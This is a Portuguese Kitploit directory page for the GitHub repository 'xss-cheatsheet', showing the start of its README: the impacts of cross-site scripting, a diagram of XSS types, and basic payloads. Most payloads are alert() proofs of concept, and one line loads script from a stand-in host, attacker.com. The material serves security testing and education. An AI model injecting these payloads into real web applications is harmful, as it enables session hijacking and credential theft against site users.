Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
xss-cheatsheet — Referência abrangente de XSS cobrindo payloads refletidos, armazenados, DOM e cegos, bypass de filtros, evasão de WAF, bypass de CSP, mXSS e estudos de caso reais de CVE. | Kitploit
Ferramentas/GitHubGitHub/ardakocadoru/xss-cheatsheet
Scanners de Vulnerabilidades WebGeração de PayloadsAnálise de VulnerabilidadesExploração de Aplicações WebBypass de WAFSegurança WebTestes de PenetraçãoAprendizado e EducaçãoRecursos Curados
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

222há 3 mesesAinda não revisado

Referência abrangente de XSS cobrindo payloads refletidos, armazenados, DOM e cegos, bypass de filtros, evasão de WAF, bypass de CSP, mXSS e estudos de caso reais de CVE.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

⚡ XSS Cheatsheet — Referência de Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

A referência XSS mais abrangente do GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, bypass de filtros, evasão de WAF, bypass de CSP, mXSS, cadeias de prototype pollution e CVEs do mundo real. Atualizado para 2026.

Payloads · Bypass de Filtros · Evasão de WAF · DOM XSS · Bypass de CSP · Blind XSS · Avançado · Ferramentas


Índice

  • O que é XSS?
  • Tipos de XSS
  • Payloads Básicos
    • Payloads Clássicos
    • Alternativas ao alert
    • Sem Parênteses
    • Sem Espaços
    • Com Aspas Removidas
  • Bypass de Filtros
    • Variação de Maiúsculas/Minúsculas
    • Ofuscação de Tags
    • Lista de Event Handlers
    • Codificação HTML
    • Codificação JavaScript
    • Codificação URL
    • Codificação Dupla
    • Payloads SVG
    • Específicos de HTML5
    • Data URI
  • Payloads Específicos de Contexto
    • Contexto HTML
    • Contexto de Atributo HTML
    • Contexto JavaScript
    • Contexto de String JavaScript
    • Contexto de URL
    • Contexto CSS
    • Contexto JSON / Template
  • Evasão de WAF
    • Bypass de Cloudflare
    • Bypass de ModSecurity
    • Bypass de AWS WAF
    • Evasão Genérica
  • Bypass de CSP
    • unsafe-inline
    • script-src self
    • Whitelists de CDN
    • base-uri ausente
    • Dangling Markup
    • CSP baseado em Nonce
  • DOM-Based XSS
    • Sources Comuns
    • Sinks Comuns
    • Payloads de DOM XSS
    • Injeção de Template AngularJS
  • Blind XSS
  • Poliglotas XSS
  • XSS via Upload de Arquivo
  • XSS em Cabeçalhos HTTP
  • XSS para RCE
  • Técnicas Avançadas
    • mXSS
    • DOM Clobbering
    • Prototype Pollution para XSS
    • CSTI
  • Defesa
  • CVEs do Mundo Real
  • Ferramentas
  • Referências
  • Contribuindo

🎯 O que é XSS?

Cross-Site Scripting (XSS) é um ataque de injeção de código do lado do cliente no qual um atacante injeta scripts maliciosos em conteúdo servido por uma aplicação web confiável. Quando o navegador da vítima renderiza a página, o script injetado é executado com os mesmos privilégios que os scripts legítimos daquela origem.

Por que XSS Importa

XSS está consistentemente no OWASP Top 10 porque o impacto é grave e a superfície de ataque é enorme:

ImpactoDescrição
Sequestro de SessãoRoubar document.cookie e assumir sessões autenticadas
Tomada de ContaAlterar email/password através de pedidos forjados usando a sessão da vítima
KeyloggingCapturar cada tecla pressionada, incluindo passwords, números de cartão de crédito
PhishingInjetar formulários de login falsos que submetem credenciais ao atacante
DesfiguraçãoModificar o conteúdo da página para espalhar desinformação ou envergonhar o alvo
Distribuição de MalwareRedirecionar vítimas para exploit kits
Mineração de CriptomoedasExecutar cryptominers nos navegadores das vítimas
SSRF / Varredura de Portas InternasUsar o navegador da vítima para sondar a rede interna
Recolha de CredenciaisLer credenciais preenchidas automaticamente a partir do DOM
Captura de Ecrã / WebcamCapturar o ecrã via getDisplayMedia(), webcam via getUserMedia()

A Política de Mesma Origem e XSS

O XSS contorna a Política de Mesma Origem (SOP). Como o script malicioso é servido a partir da origem alvo, o navegador trata-o como confiável. Isto significa que o XSS dá ao atacante:

  • Acesso total de leitura/escrita ao DOM
  • Acesso a todos os cookies não protegidos por HttpOnly
  • A capacidade de fazer pedidos XHR/fetch autenticados para a mesma origem
  • Acesso a localStorage e sessionStorage

🗺️ Tipos de XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TipoPersistênciaQuem é AfetadoO Servidor Vê o Payload?
RefletidoNãoVítima direcionadaSim
ArmazenadoSimTodos os visitantesSim
DOMNãoVítima direcionadaGeralmente Não
CegoSim (remoto)Administrador / usuário de backendSim (no ponto de injeção)

💥 Payloads Básicos

Clássicos

Os payloads fundamentais que todo pesquisador de segurança conhece. Estes funcionam onde não existe filtragem.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Alternativas ao alert (quando alert está bloqueado)

Baixar ferramenta